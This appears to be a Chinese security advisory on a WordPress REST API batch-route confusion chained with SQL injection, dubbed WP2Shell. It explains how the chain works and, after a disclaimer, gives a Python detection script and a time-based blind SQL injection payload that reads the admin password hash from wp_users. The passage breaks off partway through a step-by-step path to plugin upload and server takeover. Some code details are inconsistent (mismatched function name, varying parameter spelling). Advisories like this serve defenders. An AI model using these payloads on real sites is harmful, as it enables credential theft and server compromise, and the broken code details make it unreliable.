【高危漏洞预警】WordPress WP2Shell 组合漏洞链（CVE-2026-63030 + CVE-2026-60137）

飓风网络安全

2026年7月19日 16:25
北京

在小说阅读器读本章

去阅读

一、漏洞基本信息
漏洞概述
本次安全事件代号 WP2Shell，由两个漏洞链式组合攻击实现未授权远程代码执行（RCE），影响WordPress官方原生核心程序，无需额外插件、无需注册账号、无需用户交互，公网可直接利用。
1. CVE-2026-63030（高危路由混淆漏洞）

危害：CVSS 3.1 评分9.8 严重级别

原理：REST API /batch/v1 批量请求接口存在数组错位路由混淆，绕过身份校验，让外部可控参数流入受保护查询逻辑。

2. CVE-2026-60137（SQL注入漏洞）

危害：CVSS 3.1 评分5.9 中危

原理：WP\Query 的 author\\_not\_in 参数未做严格过滤，可构造盲注语句读取数据库全部内容。

影响版本
• CVE-2026-60137：6.8.0 ~ 6.8.5、6.9.0 ~ 6.9.4、7.0.0 ~ 7.0.1

• CVE-2026-63030：6.9.0 ~ 6.9.4、7.0.0 ~ 7.0.1

• 安全修复版本：6.8.6 / 6.9.5 / 7.0.2 及以上

• 利用前提：站点未开启持久化对象缓存，默认安装环境即可攻击。

攻击链路
1. 利用 CVE-2026-63030 嵌套批量请求绕过鉴权限制；

触发 CVE-2026-60137 时间盲注，脱库获取管理员用户名+密码哈希；
离线破解哈希得到明文密码，登录后台上传恶意插件；
实现服务器任意PHP代码执行，完全接管网站与服务器权限。

二、漏洞原理深度分析
1. CVE-2026-63030 路由混淆成因

serve\_batch\_request\_v1() 批量请求处理函数维护两组数组：

• $matches：合法路由处理器

• $validation：请求校验结果
当恶意构造的第一层URL解析失败，只会写入校验数组，不会填充路由数组，造成两个数组长度不一致，后续子请求路由发生偏移，未认证请求被强行分发到文章查询接口，带入可控参数。

CVE-2026-60137 SQL注入成因
author\_\_not\_in 用于排除指定作者ID，源码仅校验纯数字数组，在批量API特殊调用逻辑下，字符串拼接过滤失效，可插入 SLEEP()、条件判断语句，构成时间盲注，逐字符导出 wp\_users 管理员账号密码哈希。

三、漏洞验证 & 利用PoC
免责声明：以下代码仅用于企业内部资产自查、授权渗透测试，禁止用于未授权网站，违规利用承担全部法律责任。
3.1 简易检测PoC（Python，判断站点是否存在漏洞入口）
import requests
import time

def check\wp2shell(target\_url):
batch\_endpoint = f\"{target\_url.rstrip('/')}/wp-json/batch/v1\"
payload = {
\"requests\": [
{
\"method\": \"GET\",
\"path\": \"/wp/v2/categories\",
\"args\": {\"author\\_not\_in\": \"(SELECT SLEEP(3))\"}
}
]
}
headers = {\"Content-Type\": \"application/json\"}
try:
start = time.time()
resp = requests.post(batch\_endpoint, json=payload, headers=headers, timeout=10)
cost = time.time() - start
if cost >= 2.8:
print(f\"[高危] {target\_url} 存在WP2Shell组合漏洞，可触发延时注入\")
else:
print(f\"[安全] {target\_url} 未触发漏洞延时\")
except Exception as e:
print(f\"访问异常: {str(e)}\")

使用示例

check\_wp2shell(\"http://xxx.com\")

3.2 盲注脱库逻辑Payload（嵌套批量请求JSON）

发送POST至 /wp-json/batch/v1，用于逐字节读取管理员哈希：
{
\"requests\": [
{
\"method\": \"GET\",
\"path\": \"/wp/v2/categories\",
\"args\": {
\"author\_\_not\_in\": \"0 OR IF(SUBSTRING((SELECT user\_pass FROM wp\_users WHERE ID=1),1,1)='$',SLEEP(2),1)\"
}
}
]
}
3.3 完整链式利用简述
1. 用上面的时间盲注遍历字符，拿到ID=1管理员密码哈希；